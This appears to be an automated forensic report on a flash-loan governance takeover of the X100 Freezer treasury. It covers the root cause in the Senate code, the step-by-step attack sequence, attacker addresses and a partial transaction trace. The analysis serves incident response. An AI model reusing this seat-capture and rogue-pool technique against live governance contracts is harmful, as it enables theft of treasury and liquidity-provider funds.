oculr
Ethereum0x38c60844f1923d53fdce7d99e9bc2a2d8c73a08e793341dfbb479f8cc74d81d0generated 2026-10-25
ChainEthereum
Typeexploit
Confidencehigh
USD Value$4,749,726
Protocolx100
Summary

Loss: 4,749,726.10 USDT (≈$4.75M) of net profit for the attacker. The attacker emptied 400,000 X out of the X100 protocol's Freezer treasury (0x79F35A33FE2813414851c4Ae8daeacD14d822A46), then sold the X into the Uniswap V3 X/USDT pool (0x0D85edD90c94053Fc5997551b1BAa8A77Aa02Fa0). In USDT terms that pool lost about 4.75M net, a loss carried by its liquidity providers.

Attacker: a brand-new EOA, 0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63, funded minutes earlier by FixedFloat. Its deploy transaction created attack contract 0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a and two helper contracts.

Root cause: the Freezer's Senate seats senators by live stake ranking, with no minimum stake age, so two helper contracts became senators in the same transaction they staked. execute() then runs a proposal once a majority of a tiny senate (≤3 seats) votes for it, with no timelock. That let the attacker propose and pass a treasury v3Swap whose pool and amountOutMinimum it chose.

Mechanism: the attacker flash-borrowed USDT, bought seats, created its own Pancake V3-style X/USDT pool, and voted the treasury into swapping 400,000 X for 35.68 USDT there. It then pulled the X out of that pool and dumped it into Uniswap for USDT.

Transaction Overview
Transaction hash0x38c60844f1923d53fdce7d99e9bc2a2d8c73a08e793341dfbb479f8cc74d81d0↗
Block26263022
Timestamp2026-10-24 14:11:47 UTC
From
0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63↗
Attacker / deployer / profit recipientSenderExploiterUnknown EOA (X100 attacker)
To
Contract creation
0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9↗
Attack contract (created in tx)Attacker deployer contract, Created by the attacker EOA in this tx. It deploys and runs the attack contract, then forwards the USDT profit to the EOA.
Balance Changes
AddressesTokenTokenIDBalanceValue in USDTotal Value in USD
0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63↗
Attacker / deployer / profit recipientSenderExploiterUnknown EOA (X100 attacker)
USDT-+4,749,726.097$4.74M$4.74M
0x0d85edd90c94053fc5997551b1baa8a77aa02fa0↗
Victim liquidity (lps absorbed dumped x)VictimUniswap V3 X/USDT pool
USDT--4,750,733.0011-$4.74M-$4.58M
X-+93,502.9212$163.42K
0x79f35a33fe2813414851c4ae8daeacd14d822a46↗
Victim treasuryVictimX100 Freezer (Senate/DexTreasury)
X--361,800-$632.32K-$632.28K
USDT-+35.6753$35.63
0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a↗
Attack orchestratorExploiterAttack contract
X-+268,283.8788$468.88K$468.88K
PCS-V3-POS-+1-
0x23878914efe38d27c4d67ab83ed1b93a74d4086a↗
Flash-loan sourceAave v3 USDT aToken
USDT-+971.2288$969.91$969.91
0x9a03c41c539880b51508bebbc2dde7b738f6f075↗
Rogue swap venueAttacker-created X/USDT pool (DackieV3Pool code)
X-+13.2$23.07$23.07
USDT-+0.000007$0.0000
Zero Address (mint/burn)0x0000000000000000000000000000000000000000↗
PCS-V3-POS--1--

What happened

  • The attacker EOA deploys attack contract 0x89e903e4…, which creates the attack contract 0x37541fc4… and two helpers: 0xe08107e7dc7c4540d139392e9d0fea99ca019f37 and 0x176d1ea0ee9569783c6f6e455f7be6171566619c. The attack contract reads ranked() and candidacyFee() from the Freezer.
  • It flash-borrows 1,942,457.64 USDT from Aave v3 and buys 38,200 X from the Uniswap V3 X/USDT pool for 1,942,356.64 USDT.
  • Each helper freezes 19,000 X and pays the 100 X candidacy fee through applyForSenate(). Both immediately rank into the senate (Ranked events).
  • The attack contract creates a new X/USDT pool (0x9A03c41c539880b51508bEbbc2Dde7B738f6f075) at an extreme price and adds 100 USDT of one-sided liquidity.
  • Helper 1 calls propose(v3Swap(...)), helper 2 calls vote(true), and anyone calls execute(). The Freezer swaps 400,000 X of its treasury into the attacker's pool and receives only 35.675313 USDT.
  • The attacker removes its liquidity, collecting 399,986.80 X and 64.32 USDT. It sells 131,702.92 X into the Uniswap pool for 6,693,089.64 USDT and repays Aave 1,943,428.87 USDT (including a 971.23 USDT fee). The 4,749,726.10 USDT profit goes to the EOA, and about 268,284 X stays in the attack contract.

Why this matters

This is a governance takeover funded by a flash loan inside one transaction. No privileged key was used: every gate (senator check, proposable selector, pool existence, sell cap) passed. The Senate's design let stake that had existed for seconds control the treasury.

Root cause

File: project/contracts/Senate.sol, project/contracts/DexModule.sol (Freezer, verified)
Function: execute, isSenator, _isPassed, applyForSenate, v3Swap
Vulnerability class: protocol-flaw (governance flash-loan / cheap-quorum capture)
Broken invariant: The Senate assumed its senators were long-term committed stakers and that a passed proposal reflected their will. In fact a seat goes to whoever holds a top-ranked live stake at that moment (isSenator L226-239 walks the current ranking). A majority of a tiny senate passes (support * 2 > senateSize, L421-423), and execute (L166-185) runs the proposal straight away with no delay. So stake bought with a flash loan seconds earlier controlled the treasury.
Mechanism: applyForSenate → _register (L312-321) charges only a candidacy fee. Seat rank comes from frozenOf (L616-618), with no minimum age. propose (L113-138) automatically counts a For vote for the proposer, and vote (L140-149) adds a second. execute calls address(this).call(proposal.data) as soon as _isPassed holds. The proposed DexModule.v3Swap (L176-211) checks only that the pool exists in the factory (_requireV3Pool L443-447). A pool the attacker created moments earlier satisfied that check, and amountOutMinimum was whatever the attacker proposed. That let 400,000 X be swapped for 35.68 USDT.

Context

The attacker EOA was funded with 0.86 ETH by FixedFloat (0x4e5b2e1dc63f6b91cb6cd759936495434c7e972f) about 5 minutes before the attack. Within minutes it converted the 4.75M USDT to about 2,022.86 ETH and moved it on. Public reports describe a sustained attack on X100 draining about 4.85M USDT on 2026-10-24.

Steps
  1. Funding: the attacker EOA 0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63 received 0.021 ETH and 0.84 ETH from FixedFloat 1 (0x4e5b2e1dc63f6b91cb6cd759936495434c7e972f, tx 0xb9106034198582421c16e7509672d5eee8c461c3df356c9df5da5788c7a11bfe) at 14:05-14:07 UTC, minutes before the attack.
  2. Setup: this contract-creation tx deploys 0x89e903e4… and attack contract 0x37541fc4…, which creates two helper contracts for senate seats.row 1
  3. Funding: flash-borrows 1,942,457.64 USDT from Aave v3 and buys 38,200 X from the Uniswap V3 X/USDT pool.row 21
  4. Exploit: each helper freezes 19,000 X and pays the 100 X candidacy fee. The Senate ranks them into seats at once because seat eligibility uses live stake with no minimum age.row 61
  5. Setup: creates a new X/USDT pool at an attacker-chosen price and adds 100 USDT of one-sided liquidity, so the pool exists for _requireV3Pool.row 80
  6. Exploit: helper 1 proposes a treasury v3Swap and helper 2 votes for it. execute() passes it (2 votes > senateSize/2) with no timelock, and the Freezer swaps 400,000 X for 35.68 USDT in the attacker's pool.row 110
  7. Drain: removes liquidity to collect 399,986.80 X, sells 131,702.92 X to the Uniswap pool for 6,693,089.64 USDT, and repays Aave 1,943,428.87 USDT.row 151
  8. Proceeds: 4,749,726.10 USDT goes to the attacker EOA 0x7ec2afdf…, which later swapped it to about 2,022.86 ETH and moved it on.row 175
Risks
  • Treasury drained through a governance proposal passed by senators who staked seconds earlier
  • Attacker EOA funded by FixedFloat (an explorer-flagged instant exchange) minutes before the attack
  • About 268,284 X remains in attack contract 0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a
  • Proceeds already converted out of USDT, so a Tether freeze is no longer possible on the attacker EOA
  • Reports describe a sustained attack, so similar transactions against Freezer may follow
Findings (1)
Root cause analysis

The Freezer Senate assumed that a passed treasury proposal reflected long-term committed stakers. In fact seats go to whoever ranks in the top of a tiny senate by live frozen stake at that moment, a majority passes, and execute() runs the proposal immediately, so two helpers funded by a flash loan in the same tx took control of the treasury and sold 400,000 X into an attacker-made pool at an attacker-chosen minimum output.

Senate.sol execute L171-175: `require(_isPassed(support), ...); proposal.executed = true; (bool ok, ) = address(this).call(proposal.data);` with `_isPassed` = `support * 2 > senateSize` (L422) and seats from live stake (isSenator L226-239)
protocol-flawgovernance-flash-loan-vote / same-tx senate seat captureseverity: highconfidence: high
0x79F35A33FE2813414851c4Ae8daeacD14d822A46↗
VictimcontractX100 Freezer / Senate treasury, lost 400,000 X
0x0D85edD90c94053Fc5997551b1BAa8A77Aa02Fa0↗
VictimcontractUniswap V3 X/USDT pool whose LPs absorbed about 4.75M USDT
0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63↗
Attackerwalletfresh EOA funded by FixedFloat, received 4,749,726 USDT
0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a↗
Attackercontractattack orchestrator
0xe08107e7dc7c4540d139392e9d0fea99ca019f37↗
Attackercontracthelper senator, proposer
0x176d1ea0ee9569783c6f6e455f7be6171566619c↗
Attackercontracthelper senator, voter
Evidence
  • The attack contract flash-borrowed 1,942,457.64 USDT from Aave v3 and bought 38,200 X from the Uniswap V3 pool in the same tx it used for governance
  • Each helper froze 19,000 X and paid a 100 X candidacy fee, then emitted Registered and Ranked in the same tx
  • Freezer source Senate.sol L226-239: isSenator() checks only the live ranked list, with no minimum stake age or snapshot
  • Senate.sol L421-423: _isPassed returns support * 2 > senateSize, so two votes passed, meaning senateSize ≤ 3
  • Senate.sol L134: propose() automatically counts a For vote for the proposer, and one vote() from the second helper reached majority
  • Senate.sol L166-185: execute() calls address(this).call(proposal.data) as soon as the proposal is open and passed, with no timelock or execution delay
  • DexModule.sol L176-211 / L443-447: v3Swap only requires the pool to exist in the factory, and amountOutMinimum comes from the proposal, so a pool created moments earlier passed
  • The executed proposal swapped 400,000 X of Freezer treasury into attacker-created pool 0x9A03c41c539880b51508bEbbc2Dde7B738f6f075 for 35.675313 USDT
  • The attacker removed liquidity for 399,986.80 X, sold 131,702.92 X to the Uniswap pool for 6,693,089.64 USDT, and repaid 1,943,428.87 USDT to Aave
  • The attacker EOA received 4,749,726.10 USDT, now holds 0 USDT, and its 24h flows show about 2,022.86 ETH moved out
  • The attacker EOA had nonce 0 before this tx and was funded 0.86 ETH by FixedFloat 1 about 5 minutes earlier
  • voting-power provenance: flash-loan funded, stake acquired and seats taken within the same transaction
Considered and ruled out
  • Aave v3 was only the flash-loan source and was repaid in full with fee, so it lost nothing.
Addresses
0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63↗
Attacker / deployer / profit recipientSenderExploiterUnknown EOA (X100 attacker)
0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a↗
Attack orchestratorExploiterAttack contract, Takes the flash loan, buys X, seats the helpers, creates the rogue pool, drives propose/vote/execute, and dumps X.
0xe08107e7dc7c4540d139392e9d0fea99ca019f37↗
ProposerExploiterHelper senator 1, Freezes 19,000 X, applies for the senate, and proposes the treasury v3Swap.
0x176d1ea0ee9569783c6f6e455f7be6171566619c↗
VoterExploiterHelper senator 2, Freezes 19,000 X, applies for the senate, and casts the second For vote.
0x79F35A33FE2813414851c4Ae8daeacD14d822A46↗
Victim treasuryVictimX100 Freezer (Senate/DexTreasury), X staking and Senate governance contract with a DEX treasury. Its execute() delegatecalled DexModule.v3Swap, selling 400k X of treasury into the attacker's pool.
0x0D85edD90c94053Fc5997551b1BAa8A77Aa02Fa0↗
Victim liquidity (lps absorbed dumped x)VictimUniswap V3 X/USDT pool, Main X liquidity. The attacker bought X here first and then dumped the drained X here for 6.69M USDT.
0x4e5b2e1dc63f6b91cb6cd759936495434c7e972f↗
Funder of attacker gasFixedFloat 1
0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9↗
Attack contract (created in tx)Attacker deployer contract, Created by the attacker EOA in this tx. It deploys and runs the attack contract, then forwards the USDT profit to the EOA.
0x9A03c41c539880b51508bEbbc2Dde7B738f6f075↗
Rogue swap venueAttacker-created X/USDT pool (DackieV3Pool code), Created in this tx at an attacker-chosen price. It received the treasury's 400k X for 35.68 USDT.
0x23878914EFE38d27C4D67Ab83ed1b93A74D4086a↗
Flash-loan sourceAave v3 USDT aToken, Paid out the 1.94M USDT flash loan and was repaid with fee.
0xdac17f958d2ee523a2206206994597c13d831ec7↗
USDT, Stablecoin used for the flash loan, the swaps and the profit.
Zero Address (mint/burn)0x0000000000000000000000000000000000000000↗
Zero Address (mint/burn)

Flow

Rogue V3 poolFreezer Senate/TreasuryHelpers 1 and 2Uniswap V3 X/USDTAave v3Attack contractAttacker EOARogue V3 poolFreezer Senate/TreasuryHelpers 1 and 2Uniswap V3 X/USDTAave v3Attack contractAttacker EOALive-stake ranking seats helpers instantlydeploy (creation tx)flashLoanSimple 1.94M USDTbuy 38,200 X19,100 X eachfreeze 19,000 X + applyForSenatecreate pool, add 100 USDT at extreme pricepropose v3Swap and vote Forexecute (no timelock)swap 400,000 X for 35.68 USDTremove liquidity, collect 399,986 Xsell 131,702 X for 6.69M USDTrepay 1,943,428 USDT4,749,726 USDT profit

Trace

Deploy attack contractsThe EOA's creation tx deploys the outer contract, which creates the attack contract and two helper contracts.
00→CREATE0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9.0x60a08060(raw call data0x60a08060…5260)9,529,801 gas
◈Deploys the attacker's helper contract that orchestrates the whole exploit sequence.
⚑1 setup11→CREATE0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a.0x61014060(raw call data0x61014060…5260)2,073,174 gas
◈Deploys the exploit executor, which later calls start() and handles the flash loan callback.
22→CREATE0xe08107e7dc7c4540d139392e9d0fea99ca019f37.0x60808060(raw call data0x60808060…0033)206,857 gas
◈Creates a helper contract used as one of the two staking/freeze entry accounts for the attack.
32→CREATE0x176d1ea0ee9569783c6f6e455f7be6171566619c.0x60808060(raw call data0x60808060…0033)206,857 gas
◈Creates a second helper contract so the attacker can run a parallel freeze and vote position.
Reconnaissance and quoteReads Senate ranking and candidacy fee, and quotes the X purchase on Uniswap V3.
41→CALL0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a.start()7,631,741 gas
◈Kicks off the attack: reads Freezer parameters, sizes the flash loan, then borrows USDT.
⚑2 setup52→STATICCALLFreezerverified.ranked()20,333 gas
◈Reads current senate stake ranking to know how much X wins seats
62→STATICCALLFreezerverified.candidacyFee()273 gas
◈Reads the candidacy fee (100 X) each helper must pay
72→CALLQuoterV2verified.quoteExactOutputSingle(tuple=[5 items])126,023 gas
◈Quoter probe to price the X needed for the flash-loan-sized swap before committing funds.
83→CALLUniswapV3Poolverified.swap(address=0x61ffe014ba17989e743c5f6cb21bf9697530b21e, bool=false, int256=-38,200,000,002, uint160=1,461,446,703,485,210,103,287,273,052,203,988,822,378,723,970,341, bytes=0x100a2c7f45fd48e2…)85,220 gas✗ execution reverted
◈UniswapV3Pool~verified executes a token swap on this pool / router
94→CALLXverified.transfer(address=0x61ffe014ba17989e743c5f6cb21bf9697530b21e, uint256=38,200,000,002)29,959 gas
◈X~verified sends tokens out of this contract
104→STATICCALLUSDT.balanceOf(address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0)5,031 gas
◈USDT reads token balance (sanity check before transfer / accounting)
114→CALLQuoterV2verified.uniswapV3SwapCallback(int256=-38,200,000,002, int256=1,942,356,637,245, bytes=0x100a2c7f45fd48e2…)5,235 gas✗ execution reverted
◈Quoter's callback reverts intentionally, as the probe only needs the revert data to read the price.
125→STATICCALLUniswapV3Poolverified.slot0()696 gas
◈Reads pool price state inside the quoter flow to compute the quoted output amount.
133→STATICCALLUniswapV3Poolverified.slot0()2,696 gas
◈Reads current pool price so the quoter can simulate the exact-output swap.
143→STATICCALLUniswapV3Poolverified.tickSpacing()279 gas
◈Fetches tick spacing so the quoter can step through initialized ticks correctly.
153→STATICCALLUniswapV3Poolverified.tickSpacing()279 gas
◈Repeated tick spacing read during quoter tick traversal for the simulated swap.
163→STATICCALLUniswapV3Poolverified.tickSpacing()279 gas
◈Repeated tick spacing read during quoter tick traversal for the simulated swap.
173→STATICCALLUniswapV3Poolverified.tickSpacing()279 gas
◈Repeated tick spacing read during quoter tick traversal for the simulated swap.
183→STATICCALLUniswapV3Poolverified.tickBitmap(int16=153)2,525 gas
◈Scans the tick bitmap to find the next initialized tick for the simulated swap path.
193→STATICCALLUniswapV3Poolverified.tickBitmap(int16=153)525 gas
◈Continues scanning initialized ticks so the quote reflects the full liquidity range.
203→STATICCALLUniswapV3Poolverified.tickBitmap(int16=153)525 gas
◈Final tick bitmap scan completing the quoter's price-impact estimate.
Aave flash loanBorrows 1.94M USDT from Aave v3 to fund the governance capture.
⚑3 funding212→CALLInitializableImmutableAdminUpgradeabilitverified.flashLoanSimple(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint256=1,942,457,637,245, bytes=0x0000000000000000…, uint16=0)7,439,854 gas
◈Flash-borrows 1.94M USDT, the capital for the whole takeover
223→DELEGATECALLPoolInstanceverified.flashLoanSimple(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint256=1,942,457,637,245, bytes=0x0000000000000000…, uint16=0)7,434,798 gas
◈PoolInstance~verified borrows funds repaid in the same tx (flash loan)
234→DELEGATECALLFlashLoanLogicverified.0xa1fe0e8d(raw call data0xa1fe0e8d…e100)7,427,910 gas
◈Aave flash loan logic that transfers USDT out and invokes the attacker's executeOperation.
245→STATICCALLAave_v3_USDTverified.totalSupply()15,876 gas
◈Aave_v3_USDT~verified reads total supply (used to update interest indices)
256→DELEGATECALLATokenInstanceverified.totalSupply()10,859 gas
◈ATokenInstance~verified reads total supply (used to update interest indices)
267→STATICCALLInitializableImmutableAdminUpgradeabilitverified.getReserveNormalizedIncome(address=0xdac17f958d2ee523a2206206994597c13d831ec7)5,878 gas
◈InitializableImmutableAdminUpgradeabilit~verified fetches per-reserve interest accounting before applying changes
278→DELEGATECALLPoolInstanceverified.getReserveNormalizedIncome(address=0xdac17f958d2ee523a2206206994597c13d831ec7)5,326 gas
◈PoolInstance~verified fetches per-reserve interest accounting before applying changes
285→CALLAave_v3_USDTverified.transferUnderlyingTo(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=1,942,457,637,245)45,657 gas
◈Aave sends the borrowed USDT out to the attacker's executor as the flash loan principal.
296→DELEGATECALLATokenInstanceverified.transferUnderlyingTo(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=1,942,457,637,245)45,137 gas
◈Delegate implementation performing the actual USDT payout of the flash loan.
307→CALLUSDT.transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=1,942,457,637,245)41,601 gas
◈USDT sends tokens out of this contract
318→EVENTUSDT.Transfer(address=0x23878914efe38d27c4d67ab83ed1b93a74d4086a, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=1,942,457,637,245)
◈USDT token movement recorded for indexers and balance trackers
Buy X and fund helpersChecks treasury rewards and sell cap, buys 38,200 X, and sends 19,100 X to each helper.
325→CALL0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a.executeOperation(address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint256=1,942,457,637,245, uint256=971,228,819, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, bytes=0x0000000000000000…)7,298,535 gas
◈Flash loan callback where the attacker uses borrowed USDT to drain and sell the Freezer treasury.
336→STATICCALLFreezerverified.availableRewards()8,049 gas
◈Checks how much unstaked X the treasury holds for the attacker to drain
347→STATICCALLXverified.balanceOf(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46)2,560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
356→STATICCALLFreezerverified.dexSellLeft()4,881 gas
◈Checks the treasury's DEX sell cap so the 400k X swap won't revert
366→CALLUSDT.approve(address=0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, uint256=1,942,357,637,245)24,953 gas
◈USDT grants spending allowance for a downstream pull
377→EVENTUSDT.Approval(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, uint256=1,942,357,637,245)
◈USDT allowance change recorded for indexers
386→CALLUniswap_Universal_Router.exactOutputSingle(tuple=[7 items])98,642 gas
◈Uniswap_Universal_Router executes a token swap on this pool / router
⚑4 funding397→CALLUniswapV3Poolverified.swap(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, bool=false, int256=-38,200,000,002, uint160=1,461,446,703,485,210,103,287,273,052,203,988,822,378,723,970,341, bytes=0x0000000000000000…)93,503 gas
◈Buys exactly 38,200 X, enough for two seats plus fees
408→CALLXverified.transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=38,200,000,002)29,959 gas
◈X~verified sends tokens out of this contract
419→EVENTXverified.Transfer(address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=38,200,000,002)
◈X~verified token movement recorded for indexers and balance trackers
428→STATICCALLUSDT.balanceOf(address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0)3,031 gas
◈USDT reads token balance (sanity check before transfer / accounting)
438→CALLUniswap_Universal_Router.uniswapV3SwapCallback(int256=-38,200,000,002, int256=1,942,356,637,245, bytes=0x0000000000000000…)19,169 gas
◈Router callback pays the USDT owed to the pool for the attacker's exact-output X buy.
449→CALLUSDT.transferFrom(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0, uint256=1,942,356,637,245)10,124 gas
◈USDT pulls tokens from user via prior approval — funds the action
4510→EVENTUSDT.Transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0, uint256=1,942,356,637,245)
◈USDT token movement recorded for indexers and balance trackers
468→STATICCALLUSDT.balanceOf(address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0)1,031 gas
◈USDT reads token balance (sanity check before transfer / accounting)
478→EVENTUniswapV3Poolverified.Swap(address=0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, int256=-38,200,000,002, int256=1,942,356,637,245, uint160=564,964,055,642,837,711,924,620,012,443, uint128=1,962,104,072,847,010, int24=39,290)
◈UniswapV3Pool~verified executes a token swap on this pool / router
486→CALLXverified.transfer(address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, uint256=19,100,000,001)25,159 gas
◈X~verified sends tokens out of this contract
497→EVENTXverified.Transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, uint256=19,100,000,001)
◈X~verified token movement recorded for indexers and balance trackers
506→CALLXverified.transfer(address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, uint256=19,100,000,001)25,159 gas
◈X~verified sends tokens out of this contract
517→EVENTXverified.Transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, uint256=19,100,000,001)
◈X~verified token movement recorded for indexers and balance trackers
Capture senate seatsEach helper freezes 19,000 X and pays the candidacy fee, ranking straight into the senate.
526→CALL0xe08107e7dc7c4540d139392e9d0fea99ca019f37.enter(address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,000,000,001, uint256=100,000,000)390,661 gas
◈Deposits X into the first helper to enter the Freezer system and obtain freeze rights.
537→CALLXverified.approve(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,100,000,001)24,734 gas
◈X~verified grants spending allowance for a downstream pull
548→EVENTXverified.Approval(address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,100,000,001)
◈X~verified allowance change recorded for indexers
⚑5 exploit557→CALLFreezerverified.freeze(tier=0, amount=19,000,000,001, referrer=0x0000000000000000000000000000000000000000)223,955 gas
◈Helper stakes 19,000 X, live stake sets senate rank instantly
568→CALLXverified.transferFrom(address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,000,000,001)6,957 gas
◈X~verified pulls tokens from user via prior approval — funds the action
579→EVENTXverified.Transfer(address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,000,000,001)
◈X~verified token movement recorded for indexers and balance trackers
588→CALLReferralProgramverified.onFreeze(address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, address=0x0000000000000000000000000000000000000000, uint256=19,000,000,001, uint256=1,792,851,107)4,831 gas
◈Referral program hook notified of the freeze, a side effect of entering via the helper.
598→EVENTFreezerverified.FrostCreated(id=25, owner=0xe08107e7dc7c4540d139392e9d0fea99ca019f37)
◈Records the new freeze position created for the attacker's deposit.
608→EVENTFreezerverified.Frozen(id=25, owner=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, tier=0, amount=19,000,000,001)
◈Confirms the X was locked into the Freezer under the attacker's helper.
⚑6 exploit617→CALLFreezerverified.applyForSenate()140,388 gas
◈Pays the fee and is ranked into a seat with no stake-age requirement
628→CALLXverified.transferFrom(address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=100,000,000)4,157 gas
◈X~verified pulls tokens from user via prior approval — funds the action
639→EVENTXverified.Transfer(address=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=100,000,000)
◈X~verified token movement recorded for indexers and balance trackers
648→EVENTFreezerverified.Registered(account=0xe08107e7dc7c4540d139392e9d0fea99ca019f37)
◈Registers the helper as a Senate candidate so it can take governance actions.
658→EVENTFreezerverified.Ranked(account=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, stake=19,000,000,001)
◈Ranks the attacker's candidate, giving it standing to propose and vote.
666→CALL0x176d1ea0ee9569783c6f6e455f7be6171566619c.enter(address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,000,000,001, uint256=100,000,000)344,961 gas
◈Repeats the enter flow through the second helper to gain a second governance seat.
677→CALLXverified.approve(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,100,000,001)24,734 gas
◈X~verified grants spending allowance for a downstream pull
688→EVENTXverified.Approval(address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,100,000,001)
◈X~verified allowance change recorded for indexers
697→CALLFreezerverified.freeze(tier=0, amount=19,000,000,001, referrer=0x0000000000000000000000000000000000000000)192,655 gas
◈Locks additional X via the second helper to build voting weight.
708→CALLXverified.transferFrom(address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,000,000,001)4,157 gas
◈X~verified pulls tokens from user via prior approval — funds the action
719→EVENTXverified.Transfer(address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=19,000,000,001)
◈X~verified token movement recorded for indexers and balance trackers
728→CALLReferralProgramverified.onFreeze(address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, address=0x0000000000000000000000000000000000000000, uint256=19,000,000,001, uint256=1,792,851,107)831 gas
◈Referral hook fired for the second freeze position.
738→EVENTFreezerverified.FrostCreated(id=26, owner=0x176d1ea0ee9569783c6f6e455f7be6171566619c)
◈Logs the second freeze position created for voting power.
748→EVENTFreezerverified.Frozen(id=26, owner=0x176d1ea0ee9569783c6f6e455f7be6171566619c, tier=0, amount=19,000,000,001)
◈Confirms the second X lock into the Freezer.
⚑7 exploit757→CALLFreezerverified.applyForSenate()125,988 gas
◈Second helper seated, the attacker now has a senate majority
768→CALLXverified.transferFrom(address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=100,000,000)4,157 gas
◈X~verified pulls tokens from user via prior approval — funds the action
779→EVENTXverified.Transfer(address=0x176d1ea0ee9569783c6f6e455f7be6171566619c, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=100,000,000)
◈X~verified token movement recorded for indexers and balance trackers
788→EVENTFreezerverified.Registered(account=0x176d1ea0ee9569783c6f6e455f7be6171566619c)
◈Registers the second helper as a Senate candidate.
798→EVENTFreezerverified.Ranked(account=0x176d1ea0ee9569783c6f6e455f7be6171566619c, stake=19,000,000,001)
◈Ranks the second candidate so it can join the proposal and vote.
Create rogue poolCreates and initializes a new X/USDT V3 pool at an attacker-chosen price and mints one-sided liquidity.
806→CALLNonfungiblePositionManagerverified.createAndInitializePoolIfNecessary(address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100, uint160=806,000,000,000,000,000,000,000,000)4,846,012 gas
◈Creates a new PancakeV3 X/USDT pool to later route the Freezer's treasury X into USDT.
817→STATICCALLPancakeV3Factoryverified.getPool(address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100)2,675 gas
◈Checks whether the X/USDT pool already exists before creating it.
⚑8 setup827→CALLPancakeV3Factoryverified.createPool(address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100)4,767,095 gas
◈Creates a brand-new pool so v3Swap's pool-exists check passes
